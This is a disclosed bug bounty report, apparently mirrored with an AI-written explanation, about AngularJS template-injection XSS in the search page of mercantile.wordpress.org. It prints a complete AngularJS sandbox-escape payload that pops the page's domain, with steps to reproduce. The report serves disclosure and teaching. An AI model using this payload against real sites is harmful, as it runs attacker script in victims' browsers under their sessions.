XSS in the search bar of mercantile.wordpress.org
The search page on mercantile.wordpress.org reflected user input into an AngularJS context, allowing an attacker to inject AngularJS expressions that execute JavaScript. An attacker could craft a link that, when visited, runs arbitrary script in the victim's browser and displays a prompt with the domain.
- Triaged in 4 hours
- Fixed in 2 days
- Paid in 28 days
- Disclosed after 32 days
Hi wordpress! Glad to see you here at H1.
I found a XSS issue in the https://mercantile.wordpress.org/s=<payload here>
This works with the angular js payloads. I did inject a angular js code its because I found the ng-bindable in the source.
###STEPS TO REPRODUCE
- Go to https://mercantile.wordpress.org
- Click on search and put this payload:
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,prompt(document.domain)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
As you could now see the domain has been popped up.
If you have any questions just tell me and I will try my best to have an answer.
Kind Regards, Tom
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the search input was reflected into the page without proper sanitisation, and AngularJS was present, allowing client-side template injection that led to script execution.
Impact
An attacker could run JavaScript in a victim's browser via a crafted search link, as shown by a prompt displaying the domain.
What the attacker needed
Victim clicks a crafted search link
How it was found
- Go to the mercantile.wordpress.org website.
- Click on the search box and enter the AngularJS payload.
- Observe that a prompt with the domain appears, confirming script execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website lets an attacker sneak their own JavaScript code into a page that other people view. Here, the search page used a framework called AngularJS, which can evaluate special text in the page as code. The attacker put a crafted expression in the search box, and the page ran it, showing a pop-up.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.